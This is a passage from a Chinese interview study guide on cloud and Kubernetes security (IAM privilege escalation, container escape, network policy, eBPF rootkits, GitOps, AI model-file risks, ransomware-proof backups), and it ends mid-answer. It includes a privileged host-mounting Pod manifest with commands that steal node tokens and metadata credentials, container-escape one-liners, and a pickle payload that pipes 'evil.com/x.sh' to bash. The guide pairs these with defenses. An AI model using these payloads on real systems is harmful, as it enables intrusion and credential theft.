✅ "Resource": "arn:aws:iam::123:role/特定的那一个"
✅ 用 SCP 禁止 PassRole 到高权限角色
✅ CloudTrail 告警:任何 PassRole 到 Admin 角色的调用
★ 21 种提权路径的分类记忆(不用背全,但要能分类)
A 类:直接改自己权限(10 种)
iam:PutUserPolicy / AttachUserPolicy / AddUserToGroup /
CreateAccessKey / CreateLoginProfile / UpdateLoginProfile /
PutRolePolicy / AttachRolePolicy /
CreatePolicyVersion / SetDefaultPolicyVersion
★ 记忆:所有 iam:* 里带 User/Role/Policy 的写操作
B 类:通过 PassRole 借用(5 种)★ 最隐蔽
PassRole + {ec2:RunInstances, lambda:CreateFunction,
ecs:RunTask, glue:CreateDevEndpoint,
cloudformation:CreateStack}
C 类:通过其他服务侧身进入(6 种)
lambda:UpdateFunctionCode(★ 改高权限函数的代码)
lambda:UpdateFunctionConfiguration(改函数的角色)
ssm:SendCommand(★ 等于所有机器的 root)
ec2:ModifyInstanceAttribute
sts:AssumeRole 到更高权限角色
D 类:通过数据访问间接提权(4 种)★ 最易被忽略
s3:GetObject 到 Terraform state 桶(★ state 里有明文密钥)
secretsmanager:GetSecretValue
ec2:CreateSnapshot + ModifySnapshotAttribute(★ 共享快照外泄数据)
rds:ModifyDBInstance(改 master 密码)
★ 检测工具(给出名字会加分)
# PMapper(★ 最推荐,能算出"谁能提权到管理员")
pip install principalmapper
pmapper --account 123456789012 graph create
pmapper --account 123456789012 analysis
# 输出:user/alice can privesc via role/DevRole (iam:PutUserPolicy)
# Cloudsplaining(生成 HTML 报告给老板看)
cloudsplaining scan --input-file authz.json --output results/
# Prowler(综合合规扫描)
prowler aws --checks iam_* --severity critical high
J14(★★★★)为什么说 K8s 里 pods: create 权限等于集群沦陷?怎么防?
★ 核心逻辑(★ 这题考的是“RBAC 的能力边界”认知)
★★★ 关键认知:
RBAC 能限制【谁能做什么操作】
★ 但 RBAC 【管不了】操作的具体内容!
具体来说:
RBAC 能说:"alice 可以创建 Pod"
★ RBAC 不能说:"alice 可以创建 Pod,但不能创建特权 Pod"
→ ★★ 所以:一旦有人有 pods: create,
他就【一定】能创建特权 Pod
→ 特权 Pod = 节点 root
→ 节点上有所有 Pod 的 SA token + 节点角色的云凭据
→ ★★★ 集群沦陷 + 可能横移到云账号
★ 攻击演示
# 有 pods: create 权限的人,创建这个 Pod
apiVersion: v1
kind: Pod
metadata:
name: node-takeover
spec:
hostPID: true
hostNetwork: true
containers:
- name: pwn
image: alpine:3.19
securityContext:
privileged: true # ★ 特权
volumeMounts:
- name: host
mountPath: /host
volumes:
- name: host
hostPath:
path: / # ★★ 挂载宿主机根目录
type: Directory
# Pod 起来后,3 步拿到节点 root
kubectl exec -it node-takeover -- chroot /host /bin/bash
# 现在你在这个节点上有 root,能看到:
ls /var/lib/kubelet/pods/*/volumes/kubernetes.io~projected/*/token
# ★★★ 这个节点上【所有 Pod】的 SA token!
cat /var/lib/kubelet/kubeconfig # 节点的 kubeconfig
curl http://169.254.169.254/... # 节点的云角色凭据
★ 防御(★ 唯一有效的手段)
★★★ 答案:准入控制器(Pod Security Admission / Kyverno / Gatekeeper)
★ 这是【唯一】能在"写入 etcd 之前"检查 Pod 内容、并拒绝的机制
① Pod Security Admission(PSA,K8s 内置)
kubectl label ns production pod-security.kubernetes.io/enforce=restricted
→ 该命名空间里任何 privileged / hostPath / hostPID 的 Pod 都会被拒绝
② Kyverno(能写更细的规则,用 YAML)
- 禁止特权容器
- 禁止 hostPath 挂载
- 镜像必须来自私有仓库
- ★ 禁止挂载 docker.sock
③ Gatekeeper / OPA(用 Rego)
★★ 为什么 RBAC 做不到(★ 这是面试官想听的):
RBAC 工作在【授权阶段】,此时请求还没被解析成具体资源内容,
它只看 (user, verb, resource-type),不看 resource 的 spec。
★ 准入控制工作在【授权之后、持久化之前】,能看完整对象。
★★ 这是 K8s 架构上的分工,不是配置能绕过的。
★ 类似的“看似无害实则致命”的权限(加分)
pods/exec → 能进任意 Pod → 读那个 Pod 的 SA token → 提权
pods/attach → 同上
secrets get → 能读所有 SA token
★ serviceaccounts/token create → 能给任意 SA 签发 token
ssm:SendCommand(云上)→ 等于所有装了 agent 的机器的 root
J15(★★★)容器逃逸有哪些手法?怎么防?
★ 先纠正认知:容器不是虚拟机
虚拟机:独立内核,隔离靠【硬件虚拟化】
容器:★ 共享宿主机内核,隔离靠【软件机制】
① Namespace(看得见什么)
② Cgroups(能用多少)
③ Capabilities / seccomp / MAC(能做什么)
★★ 结论:容器是【软件隔离】
- 内核有漏洞 → 所有容器一起沦陷
- 配置给多了(privileged)→ 隔离形同虚设
★ 六种手法(按危险度)
┌────────────────────────────────────────────────────────────┐
│ 手法 1:★★★ 特权容器(privileged: true) │
├────────────────────────────────────────────────────────────┤
│ 拿到宿主机全部 capabilities + 所有设备 │
│ │
│ 逃逸(3 条命令): │
│ fdisk -l # 看到宿主机磁盘 │
│ mount /dev/sda1 /mnt/host # 挂载 │
│ chroot /mnt/host /bin/bash # ★ 宿主机 root │
│ │
│ ★ 还有不需要 mount 的方法(cgroup release_agent): │
│ 利用 notify_on_release,让内核以 root 执行你指定的脚本 │
└────────────────────────────────────────────────────────────┘
┌────────────────────────────────────────────────────────────┐
│ 手法 2:★★★ 挂载 docker.sock │
├────────────────────────────────────────────────────────────┤
│ ★ Docker daemon 是【root 权限】运行的 │
│ 拿到 socket = 能让 Docker 做任何事 │
│ │
│ 一条命令逃逸: │
│ docker run -it --rm -v /:/host --privileged alpine \ │
│ chroot /host │
│ │
│ ★ 为什么有人挂:CI 构建镜像(DinD)、监控收集信息 │
│ ✅ 替代:Kaniko / Buildah(构建)、cAdvisor(监控) │
└────────────────────────────────────────────────────────────┘
┌────────────────────────────────────────────────────────────┐
│ 手法 3:★★ hostPath 挂载敏感目录 │
├────────────────────────────────────────────────────────────┤
│ / → 直接改文件 │
│ /etc → 改 crontab、passwd │
│ /var/lib/kubelet → ★★ 所有 Pod 的 SA token! │
│ /root/.ssh → 拿 SSH 私钥 │
│ /proc → 改内核参数 │
└────────────────────────────────────────────────────────────┘
┌────────────────────────────────────────────────────────────┐
│ 手法 4:★★ 危险 Capabilities │
├────────────────────────────────────────────────────────────┤
│ CAP_SYS_ADMIN → ★★ "新的 root" │
│ CAP_SYS_MODULE → 加载内核模块 │
│ CAP_SYS_PTRACE → 注入其他进程 │
│ CAP_NET_ADMIN → 抓包、改网络 │
│ CAP_DAC_READ_SEARCH → 读任意文件 │
│ CAP_DAC_OVERRIDE → 写任意文件 │
└────────────────────────────────────────────────────────────┘
┌────────────────────────────────────────────────────────────┐
│ 手法 5:★ 共享宿主机命名空间 │
├────────────────────────────────────────────────────────────┤
│ hostPID → 看到所有进程 + 读其他容器的环境变量(★ 有密码) │
│ hostNetwork → 访问 localhost 上的服务(kubelet 10250、etcd) │
│ hostIPC → 读写其他进程的共享内存 │
└────────────────────────────────────────────────────────────┘
┌────────────────────────────────────────────────────────────┐
│ 手法 6:★ 内核漏洞(配置没问题也会中招) │
├────────────────────────────────────────────────────────────┤
│ CVE-2019-5736 runc 逃逸(覆盖宿主机 runc 二进制) │
│ CVE-2022-0847 ★ Dirty Pipe(覆写任意只读文件) │
│ CVE-2024-21626 runc "Leaky Vessels" │
│ │
│ ★★ 关键:内核漏洞导致的逃逸,【配置层面挡不住】 │
│ → 对策:打补丁 / 更强隔离(gVisor、Kata) │
└────────────────────────────────────────────────────────────┘
★ 四种隔离强度(给出这个显示视野)
| 方案 | 原理 | 性能 | 适用 |
|---|---|---|---|
| 普通容器(runc) | 共享内核 | 100% | 可信内部业务(99% 场景) |
| ★ gVisor | 用户态内核(拦系统调用) | 80~90% | ★ 运行不可信代码、多租户 |
| ★★ Kata Containers | 每个 Pod 一个轻量 VM,独立 guest 内核 | ~95% | 多租户、金融 |
| ★★★ User Namespace | 容器内 root = 宿主机普通用户 | 几乎无损 | ★ 2026 年最值得关注 |
★ 务实建议
① 所有业务 Pod:PSA restricted + 非 root + 只读根文件系统
★ 这能挡住 90% 的实际逃逸手法
② 运行不可信代码:gVisor 或 Kata
③ 节点本身:最小化安装、及时打补丁、禁止 SSH
④ ★ 不要在容器里跑任何需要真 root 的东西
★★ 性价比最高的一条:readOnlyRootFilesystem: true
开启后攻击者即使进了容器也:
✗ 不能下载木马(没写权限)
✗ 不能改应用代码
✗ 不能写计划任务
★ 一句话:把"落地"这一步直接砍掉
J16(★★)Pod Security Standards 有哪三档?怎么落地才不会炸?
★ 三档
| 级别 | 白话 | 禁止/要求 |
|---|---|---|
| Privileged | 完全不限制 | 只用于系统组件(kube-system 的 CNI/CSI) |
| Baseline | 挡住已知的危险用法 | 禁:privileged、hostNetwork/PID/IPC、hostPath、hostPort、危险 capabilities、特权端口 |
| Restricted | 最严格(安全最佳实践) | 在 Baseline 之上额外要求:runAsNonRoot、allowPrivilegeEscalation=false、seccompProfile=RuntimeDefault、drop ALL capabilities、只允许 NET_BIND_SERVICE |
★ 三个模式
enforce → 违反就拒绝(生产用)
audit → 不拒绝,只记录(★ 先开这个观察)
warn → 不拒绝,kubectl 返回警告(开发体验最好)
★ 落地三步走(★ 这是面试官想听的实战经验)
问题:直接把生产环境设成 restricted
→ 一堆 Pod 起不来 → 业务中断 → 安全团队背锅
→ 以后再也没人敢动安全配置
✅ 正确顺序:
第一步:【先开 audit + warn,观察 2 周】
kubectl label ns production \
pod-security.kubernetes.io/audit=restricted \
pod-security.kubernetes.io/warn=restricted
第二步:【找出会被拦的 Pod,逐一改造】
kubectl -n production get events --field-selector reason=FailedCreate
★ 常见的改造项:
- 加 securityContext.runAsNonRoot: true
- 加 securityContext.allowPrivilegeEscalation: false
- 加 securityContext.capabilities.drop: ["ALL"]
- 加 securityContext.seccompProfile.type: RuntimeDefault
第三步:【切成 enforce】
kubectl label ns production pod-security.kubernetes.io/enforce=restricted
★★ 别忘了给 kube-system 之类的命名空间设 privileged
(否则 CNI/CSI/监控 agent 起不来 → 整个集群瘫痪)
★ 加分点:一个常见误解
误解:"PSA 能替代 Kyverno / OPA"
★ 不对。PSA 【只能】管 Pod 安全这一件事。
它管不了:
- 镜像必须来自私有仓库
- 必须有 app.kubernetes.io/owner 标签
- 副本数必须 >= 2
- 镜像必须验签
★★ 推荐组合:
PSA(restricted) → 兜底,防止任何 Pod 有致命配置
+ Kyverno → 公司自定义规范
+ cosign 镜像验签 → 供应链安全
J17(★★★)NetworkPolicy 有哪些坑?落地顺序是什么?
★ 先说最重要的:默认全通
★★★ K8s 集群默认【所有 Pod 之间网络全通】,跨命名空间也通。
★ 生活类比:
住进一个小区,所有住户家门都不锁,互相能直接进。
直到一个外卖员(被攻破的边缘 Pod)进来,挨家挨户走了一遍。
★ 真实后果:
攻击者通过前端 nginx 的 RCE 进来
→ 能直接连 Redis(无密码)
→ 能直接连 MySQL
→ 能连 kubelet 10250(★ 节点沦陷)
★ 六个坑(★ 踩过的都懂)
坑 1:★ 忘了放行 DNS → 整个命名空间服务全挂
现象:"could not resolve host"
✅ 每个命名空间都要有一条放通 53 端口的 Egress 规则
★ 建议用 Kyverno 自动生成
坑 2:★ Ingress 和 Egress 是独立的
很多人以为"允许 A 访问 B"就双向通了
★ 错!A→B 需要:B 的 Ingress 允许 A 【且】 A 的 Egress 允许 B
坑 3:★ ipBlock 不能用来选 Pod
ipBlock 只能写 CIDR,Pod IP 会变
✅ 选 Pod 用 podSelector + namespaceSelector
坑 4:★ 健康检查会被挡
kubelet 的 probe 是从【节点】发起的
→ Ingress 规则没放行节点网段 → 探针失败 → Pod 反复重启
✅ 放行节点 CIDR,或用 Cilium 的 hostEntity
坑 5:★ 没有日志(默认)
出问题分不清是"被策略挡了"还是"服务本身挂了"
✅ 用 Cilium(Hubble 能看到被拒绝的连接)或 Calico flow logs
坑 6:★★★ CNI 可能根本不支持!
★ Flannel(很流行的 CNI)【不实现】NetworkPolicy!
→ 你写了策略,它【静默不生效】,不报错
★★ 必须实测:
创建 default-deny → 测试 Pod 之间还能不能通
还能通 = 你的 NetworkPolicy 是纸糊的
★ 落地顺序(★ 关键,避免上线就炸)
不要一上来就 default-deny-all 生产环境!
① 【先只写 Ingress 拒绝,保留 Egress 全通】
→ 影响最小,能挡住大部分横向移动
② 【观察 1~2 周】
③ 【再逐步收 Egress】(★ 影响大,要按服务逐个梳理)
→ Egress 的价值更大(能挡住挖矿外联、数据外传、反弹 shell)
→ 但风险也大(可能挡住正常的外部 API 调用)
④ ★ 用 Cilium/Hubble 的"策略建议"功能自动生成规则
(观察实际流量,自动生成对应的策略,★ 比人工梳理准确得多)
★ 一条特殊规则(加分点)
# ★★ Egress 放行公网,但排除云元数据服务
egress:
- to:
- ipBlock:
cidr: 0.0.0.0/0
except:
- 169.254.169.254/32 # ★★ AWS/Azure 元数据
- 169.254.170.2/32 # ECS 任务元数据
- 100.100.100.200/32 # 阿里云元数据
# ★ 这条规则能挡住 SSRF 偷云凭据,非常实用
J18(★★)服务网格带来什么安全能力?自身有什么风险?
★ 四个安全能力
① ★★★ 零信任网络
传统:内网 = 可信(进了内网横行无阻)
零信任:★ 从不信任网络,只信任身份
→ 每次调用都验证:你是谁(mTLS 证书)+ 你能不能调这个接口
★★ 即使攻击者进了某个 Pod,也调不了其他服务
→ ★ 直接堵死了大半横向移动
② ★★ L7(应用层)授权
NetworkPolicy 只能做到 "A 可以访问 B 的 8080"
AuthorizationPolicy 能做到:
"A(身份)可以对 B 的 /api/v1/users 发 GET,但不能 POST/DELETE,
且必须带有效 JWT,且 JWT 的 group 必须是 admin"
③ ★★ 通信加密自动化
★ 现实:90% 的微服务间通信是明文(因为配 TLS 太麻烦)
服务网格:控制面自动签发证书 + 自动轮换 + sidecar 自动加载
→ ★ 应用代码完全不用改
★★ 这是"让安全比不安全更省事"的典范
④ ★ 完整可观测性
每次调用都记录:谁调的、调了谁、结果、耗时
→ 出事后能精确还原"他访问了哪些服务"
★ 六个自身风险(★ 容易被忽视,这是加分项)
风险 1:★★★ 控制面(Istiod)是新的"皇冠珠宝"
掌管:所有服务的证书签发私钥、所有路由和策略
★ 攻破 Istiod = 攻破整个网格
- 可以给自己签发任意身份 → 冒充任何服务
- 可以修改授权策略 → 放行所有流量
- 可以修改路由 → 劫持流量做中间人
✅ 防护:严格 RBAC + 根证书用外部 KMS/Vault + 审计
风险 2:★★ Sidecar 注入被滥用
能控制注入 → 可以注入恶意 sidecar → 看到所有流量
✅ 只有特定命名空间允许注入 + 镜像来自私有仓库且验签
风险 3:★★ PERMISSIVE 模式是个陷阱
PERMISSIVE = 同时接受明文和 mTLS(本意是方便迁移)
★ 但攻击者可以发明文请求,完全绕过身份认证
★★ 很多团队开了就忘了切回 STRICT → mTLS 形同虚设
风险 4:★ 授权策略"默认允许"
★★ Istio 默认【允许所有】!(跟 NetworkPolicy 一样,反直觉)
→ 必须显式配置 deny-all,然后逐条放行
★ 很多人以为"装了 Istio 就有零信任了" → 不配策略等于没装
风险 5:★ 网格边界的"裸奔"流量
没注入 sidecar 的 Pod(如 kube-system)不受管理
★ 直接通过 Pod IP 访问可以绕过 sidecar
✅ 用 NetworkPolicy 强制流量经过 sidecar
风险 6:★ 可观测性组件泄露信息
★ Kiali 默认【无认证】!任何人访问就能看到整个网格拓扑
★ Envoy 访问日志可能有 URL 参数、Cookie、Token
✅ Kiali/Grafana/Prometheus 必须加认证 + 日志脱敏
J19(★★★)eBPF 为什么是双刃剑?
★ 能力侧(为什么它火)
以前想在内核里做点事:
方式 1:改内核源码 → 不现实
方式 2:写内核模块 → 一个 bug 就 kernel panic
eBPF:
★ 程序先经过内核【验证器】严格检查
(是否死循环、是否访问非法内存、能否终止)
★ 通不过就不让运行 → 安全性大幅提升
应用(★ 天天用到但不知道):
网络:Cilium(K8s CNI)、XDP 防火墙、负载均衡
可观测:Pixie、Hubble、bpftrace、BCC
安全:Falco(eBPF 模式)、Tetragon、Tracee
性能:perf、火焰图
★ 攻击侧(★ 三个风险)
风险 1:★★★ eBPF 程序能看到【一切】
抓取所有网络包、监控所有系统调用、读任意进程内存、
★ 拦截系统调用并【篡改参数】(后门)
★★ 所以:能加载 eBPF ≈ 拥有 root
风险 2:★★ 恶意 eBPF Rootkit(2019 年后的新型后门)
传统 rootkit 加载内核模块 → 在 /proc/modules 里能看到
★ eBPF rootkit 藏得更深,能【隐藏自己】
能做的:
✓ 隐藏进程(ps 看不到挖矿)
✓ 隐藏网络连接(netstat 看不到 C2)
✓ 隐藏文件
★ 隐藏自己(bpftool prog list 看不到)
✓ 劫持命令(把 kill 变成 no-op)
✓ 绕过防火墙(XDP 层放行攻击者 IP)
★ 检测难点:无文件落地,传统文件完整性检查没用
风险 3:★ 容器内 eBPF 攻击
★★ eBPF 是【全局的】,没有 namespace 隔离!
→ 容器里的进程加载 eBPF,能影响整个宿主机的所有进程
✅ 容器必须禁止 CAP_BPF 和 CAP_SYS_ADMIN
★ 好消息:Linux 5.8+ 有 CAP_BPF,可以单独控制
★ 检测与防御
# 检测:对比不同视角(rootkit 只能骗过一部分)
ps aux | wc -l
ls /proc | grep -E '^[0-9]+$' | wc -l # ★ 不一致 = 有问题
ss -tulnp | wc -l
cat /proc/net/tcp | wc -l
# CPU 100% 但 top 里看不到对应进程 → ★ 高度可疑
top -bn1 | head -15
# 查看已加载的 eBPF 程序
bpftool prog list
bpftool map list
# 防御
☑ 容器不给 CAP_BPF / CAP_SYS_ADMIN
☑ 考虑 kernel.unprivileged_bpf_disabled=1
★ 注意:会禁掉正常监控工具,要评估
☑ 用 LSM BPF(用 eBPF 管控 eBPF 的加载)
☑ 监控 bpftool prog list 的变化(基线 + 告警)
☑ 用 Tetragon 监控 eBPF 加载行为
J20(★★★)GitOps 有什么安全价值?又有什么风险?
★ 安全价值(★ 三个,第二个最重要)
① ★★ 消灭"手工改生产"的路径
所有变更都有 git 记录(谁、什么时候、改了什么、为什么)
→ ★ 出事后能完整还原时间线
② ★★★ 自动漂移修复(★ 这是 GitOps 最大的安全好处)
攻击者改了集群(如加了个后门 DaemonSet)
→ ArgoCD 发现与 git 不一致 → ★ 自动删掉后门
★★ 这直接废掉了"DaemonSet 后门"这种持久化手法!
(攻击者加的 DaemonSet 不在 git 里,会被自动清理)
③ 快速恢复
集群被搞坏 → git revert → 自动回滚
★ 比任何备份恢复都快
④ 变更走 PR → 有 review + 可集成 Checkov/Kyverno 扫描
★ 四个风险
风险 1:★★★ git 仓库成了新的"皇冠珠宝"
★ 以前:攻破集群得攻破集群
★ 现在:★ 攻破 git 仓库 = 攻破集群
(改一下 manifest,ArgoCD 帮你部署到生产)
✅ 防护:
- manifest 仓库权限比代码仓库更严格
- 强制 PR review(敏感目录 2 人)
- ★ 分支保护:禁 force push、禁直接 push main
- 签名提交 + 验证
风险 2:★★★ ArgoCD 本身权限极大
它通常有集群里最大的 SA(需要能创建任何资源)
★ 攻破 ArgoCD = 攻破整个集群
✅ 防护:
- ★★ 管理界面启用 SSO(不要用它自带的 admin 初始密码!)
- ★ 不对外暴露(VPN/内网)
- ★★ 用 AppProject 严格限制:
· 能部署到哪些命名空间(不给 *)
· 能创建哪些资源类型(不含 Secret/DaemonSet/ClusterRole)
· 从哪些 git 仓库拉取
风险 3:★★ 默认密码 / 默认配置
★ ArgoCD 安装后:
- 用户名 admin
- ★ 密码在 argocd-initial-admin-secret 里(base64 = 明文)
- ★ 很多人装完不改,还把 ArgoCD 暴露到公网
→ ★★ 直接用默认密码登录 = 集群管理员
★ 还有:★ 默认允许【匿名只读】!
→ 任何人访问就能看到所有应用和 Secret
风险 4:★ 供应链传递
manifest 引用外部 Helm chart / 远程 YAML
→ 上游被投毒 → 你的集群自动部署恶意版本
✅ 内部仓库 + 验签 + 固定版本号(不用 latest)
★ ArgoCD 加固的必查五项(给出命令会加分)
# ① 检查是否改了默认密码
kubectl -n argocd get secret argocd-initial-admin-secret -o jsonpath='{.data.password}' | base64 -d
# ✅ 改完密码后必须删掉这个 Secret
# ② 检查匿名访问
kubectl -n argocd get cm argocd-cm -o jsonpath='{.data.users\.anonymous\.enabled}'
# ✅ 应该是 "false"(默认是 "readonly",必须改!)
# ③ 检查 AppProject 的 destination 有没有通配符
# ★ 有 * = 能部署到 kube-system
# ④ 检查是否暴露到公网
kubectl -n argocd get ingress,svc -o wide
# ✅ argocd-server 应该是 ClusterIP
# ⑤ 检查能不能创建集群级资源
# ✅ clusterResourceWhitelist 应该是 0 条
J21(★★★)AI / ML 工作负载有什么特殊的安全风险?
★ 根本原因
传统 Web 服务:接收 HTTP 请求 → 查数据库 → 返回 JSON
AI 工作负载:★ 接收【代码/模型/数据】→ ★ 执行它 → 用 GPU 跑
★★ 关键区别:AI 工作负载【天然需要执行不可信的东西】
- Jupyter:用户上传代码,服务器执行(★ RCE as a Service)
- 模型推理:加载第三方模型文件(★ pickle = RCE)
- 训练任务:加载数据集、执行自定义处理代码
- Agent / 插件:调用外部工具(见第一章)
★ 风险 1:Jupyter = 官方 RCE
★★ Jupyter 的【核心功能】就是:用户提交代码 → 服务器执行
→ ★ "这不是漏洞,这是功能"
→ 但暴露在公网上 = 公开了一个 shell
★ 真实场景:
① 公网部署 Jupyter(数据科学家常干)
② 没设密码或弱密码(★ 默认有 token 但经常被关掉)
③ 扫描器扫到 8888 端口
④ 攻击者获得一个 shell,而且:
★ 在有 GPU 的机器上
★ 挂载了训练数据、模型权重、云凭据
✅ 防护:
☑ ★★ 绝不对公网暴露(用 SSH 隧道 / VPN)
☑ 强 token 或密码
☑ 运行在容器里:非 root、无特权、只读根文件系统、
独立 SA(无 K8s 权限)、NetworkPolicy 限出网
☑ ★ 不要用能访问生产数据的云角色
☑ 挂载的数据目录最小化
★ 风险 2:模型文件的反序列化 RCE(★ 必考)
import torch
# ❌❌❌ 危险:torch.load 默认走 pickle 反序列化
model = torch.load("downloaded_model.pth")
# ★ pickle 反序列化时会执行 __reduce__ 里指定的任意代码
# → 攻击者可以在模型里埋:os.system("curl evil.com/x.sh|bash")
# 恶意模型的原理(看一眼就懂):
import pickle, os
class Evil:
def __reduce__(self):
return (os.system, ('curl https://evil.com/x.sh | bash',))
pickle.dumps(Evil()) # ← 这就是一个"模型文件"
# ✅ 正确做法 1:weights_only=True(PyTorch 2.0+)
model = torch.load("model.pth", weights_only=True)
# ★ PyTorch 2.6 之后【默认】就是 True
# ✅ 正确做法 2:用 safetensors 格式(★ 推荐)
from safetensors.torch import load_file
state_dict = load_file("model.safetensors")
# ★ safetensors 【设计上就不支持代码执行】
# ✅ 正确做法 3:扫描
# pip install modelscan
# modelscan scan --path ./model.pth
★ 格式风险排序:
.pkl / pickle → ★★★ 等同 RCE
.pth(torch 老版)→ ★★★ 走 pickle
ONNX → ★★ 支持自定义算子(可含代码)
Keras .h5 → ★ HDF5,历史上有问题
SavedModel → ★ 相对安全
★★ safetensors → ✓ 目前最安全
★ 风险 3 & 4(简答即可)
风险 3:GPU 多租户隔离问题
★ GPU 没有像 CPU 那样的强隔离:
- 显存泄漏(一个容器占满,其他全 OOM)
- 侧信道(共享 L2 缓存,理论上可跨容器窃数据)
- 驱动漏洞(NVIDIA 驱动每年都有 CVE)
✅ 敏感场景用 NVIDIA MIG 硬件分区 / 独占
★ 及时更新 GPU 驱动(很多人忘了)
风险 4:凭据与数据
★ 常见错误:Notebook 里硬编码 AK/SK(★ 数据科学家不熟悉安全,极常见)
★ 模型权重本身是核心资产,且可能【记忆】了训练数据
(★ 模型反演攻击:从权重反推训练数据)
✅ 用 IRSA,禁止 AK/SK
✅ 模型权重:加密存储 + 访问控制 + 出库审计
✅ NetworkPolicy 限制训练容器出网(防数据外传)
J22(★★★)防勒索的不可变备份怎么做?三种方案对比
★ 为什么需要(先说清楚勒索软件的逻辑)
★★★ 2026 年勒索软件的标准流程:
① 进入环境
② 横向移动
③ ★★ 【第一步就是删除所有备份】← ★ 这是关键
④ 加密生产数据
⑤ 勒索
★ 所以:
★★ 如果备份能被攻击者删掉,那备份等于不存在
★ 真实教训:
很多公司"有备份",但备份服务器在同一个域、
用域账号管理 → 攻击者拿域管 → 删光备份 → 只能交赎金
★ 三种方案对比
| 方案 | 原理 | 能防住 | 防不住 |
|---|---|---|---|
| 版本控制 + MFA Delete | 删除只打标记;删版本需 MFA | 普通 AK 删除、误操作 | 拿到 root+MFA、关闭版本控制 |
| ★★ 对象锁(Object Lock) | WORM:保留期内谁都删不掉 | ★ 任何权限的删除 | ★ 你自己也删不掉(代价) |
| ★★★ 跨账号/跨云备份 | 备份账号凭据生产环境没有 | ★★ 生产账号完全沦陷 | 成本高、架构复杂 |
★ 对象锁的两种模式(★ 必答区别):
GOVERNANCE(治理模式):
有特殊权限的人(s3:BypassGovernanceRetention)可以删
→ 适合合规场景,管理员还能操作
★★ COMPLIANCE(合规模式):
★★ 谁都删不掉,包括账号 root、包括云厂商
→ ★ 这才是真正的防勒索
★ 代价:你自己也删不掉,必须等保留期结束
★ 3-2-1 原则(★ 背下来):
3 份副本 + 2 种不同介质 + 1 份离线/异地
★ 跨账号备份的关键设计:
★ 生产账号里【没有】备份账号的凭据(单向)
→ 攻击者即使完全控制生产账号,也碰不到备份账号
★ 三句最实在的话(加分)
① ★ 没有恢复演练过的备份 = 没有备份
每年至少做两次完整恢复演练,记录 RTO
★ 很多公司出事时发现:备份是坏的 / 恢复要 3 天 / 缺关键数据
② ★ 备份本身也要防"被篡改"
攻击者不一定删备份,他可以【污染】备份
→ 恢复后等于重新被感染
✅ 备份要校验哈希 + 恢复时要扫描
③ ★ 恢复顺序要想清楚
① 干净的基础环境(网络 + 身份)
② 域控(★ 注意 Tombstone 和 USN 回滚问题,见第七章)
③ 应用服务器
④ 数据(恢复后验证完整性)
⑤ ★★ 全部重置凭据(密钥、密码、Session)
⑥ 逐步开放网络
★ 反例:先恢复应用 → 攻击者用旧凭据又进来 → 白恢复
10.8.3 场景题(J23 ~ J27)
J23(★★)老板说:“我们上了云,云厂商负责安全,应该没问题了吧?”
★ 这是一道“沟通题”,不是技术题。考察你怎么跟非技术人员说清楚。
❌ 错误回答
"不对,云厂商只负责云平台,我们要负责自己的数据"
→ ★ 太生硬,像在上课,老板听完只觉得"安全在制造焦虑"
→ 而且老板会想:"那我花钱上云图什么?"
✅ 正确的回答(三步:认同 → 类比 → 给方案)
第一步:【先认同,不否定】
"您说得对,用了云之后,我们确实【少操心了很多事】。
以前我们要管机房的门禁、空调、消防、硬盘坏了要换、
服务器要打系统补丁 —— 这些现在全是云厂商的事了。
★ 这一块我们的人力和风险确实降了很多。"
第二步:【用一个类比说清楚"哪些还是我们的事"】
"不过有一块还是我们的责任,我打个比方:
★ 云厂商就像是【开发商和物业】,
他们负责:楼的结构安全、消防系统、电梯维保、小区门禁。
★ 我们是【住户】,我们要负责:
- 自己家的门锁不锁(★ 相当于安全组、桶权限)
- 钥匙给谁(★ 相当于 IAM 权限)
- 家里放着什么贵重东西(★ 相当于数据分类)
- 装不装监控(★ 相当于审计日志)
★ 如果物业把小区的安保做得再好,
但【我们出门忘了锁门】,小偷还是能进来。
★★ 而且这个责任,物业合同里写得很清楚是住户的。"
第三步:【给具体数字 + 落地方案,把焦虑转成行动】
"这里有个真实数据:云上的安全事故,
★ 超过 70% 不是云厂商被攻破,而是【配置错误】
—— 主要是:存储桶配成了公开、权限给得太大、密钥泄露到代码仓库。
我建议我们做三件事(成本都很低):
① 【本周】:开启云厂商的免费安全体检(Security Hub / 云安全中心)
跑一遍,看我们现在有多少个红灯
② 【本月】:在所有账号开启审计日志 + 存储桶禁止公开
(★ 这两条能挡掉大部分'配置错误'类的事故)
③ 【下季度】:消灭所有长期密钥,改用临时凭据
★ 我下周把第 ① 项的报告发给您,我们用数据说话。"
★★★ 这段回答好在哪:
① 没有否定老板(避免对立)
② 用"物业/住户"的类比(非技术人员秒懂)
③ ★ 给出了【成本低的、分阶段的】方案(不是"要买很多东西")
④ ★ 用数据(70% 是配置错误)建立可信度
⑤ ★ 结尾给了明确的下一步(下周发报告)→ 形成闭环
★ 如果老板追问“那要花多少钱?”
"分三档:
★ 第一档(0 成本,本周就能做):
开启云厂商免费的安全体检、审计日志、存储桶禁公开、MFA
→ 这几项能覆盖【80%】的常见风险
★ 第二档(几万/年,小团队就够用):
开源工具组合(Prowler + Trivy + Falco)+ 一个人力投入
→ 覆盖到 90%
★ 第三档(几十万起,中大型+有合规要求):
商业 CNAPP 平台
→ 主要价值是【跨层关联分析】和【省人力】
★★ 我的建议:先做第一档,两周后拿数据给您看,
再决定要不要上第二档。不要一开始就买贵的 ——
★ 工具买了不开、配置了不看,比没有工具更危险。"
J24(★★★★)场景:发现云 AK/SK 被提交到了公开的 GitHub 仓库,你只有 15 分钟,做什么?
★ 核心矛盾:速度与正确性
太快:直接删密钥 → 业务挂了(生产服务在用)
太慢:等确认清楚 → 攻击者已经用你的 AK 开了 50 台矿机
★★★ 正确答案:分两条线并行
【止血线】(2 分钟内完成)+ 【保全线】(同步进行)
★ 分钟级操作清单
═══ 0~2 分钟:止血(★ 最关键的两分钟)═══
┌────────────────────────────────────────────────────────┐
│ ① 立刻【禁用】AK,不要删除! │
│ aws iam update-access-key \ │
│ --user-name <user> --access-key-id AKIA... \ │
│ --status Inactive │
│ │
│ ★ 为什么禁用而不是删除: │
│ - 禁用是【可逆】的(如果是误报,5 秒恢复) │
│ - 删除是不可逆的(如果删错了,要重新分发密钥) │
│ ★ 紧急时刻,永远选择可逆的操作 │
│ │
│ ② 立刻附加 Deny All 策略(★ 双保险,秒级生效) │
│ 有时候禁用 AK 有延迟,直接贴 Deny All 更可靠 │
│ │
│ ③ ★★★ 吊销所有活动会话(★ 最容易被忘!) │
│ ★ 攻击者可能已经用这个 AK 换出了【临时凭据】 │
│ (1~12 小时有效) │
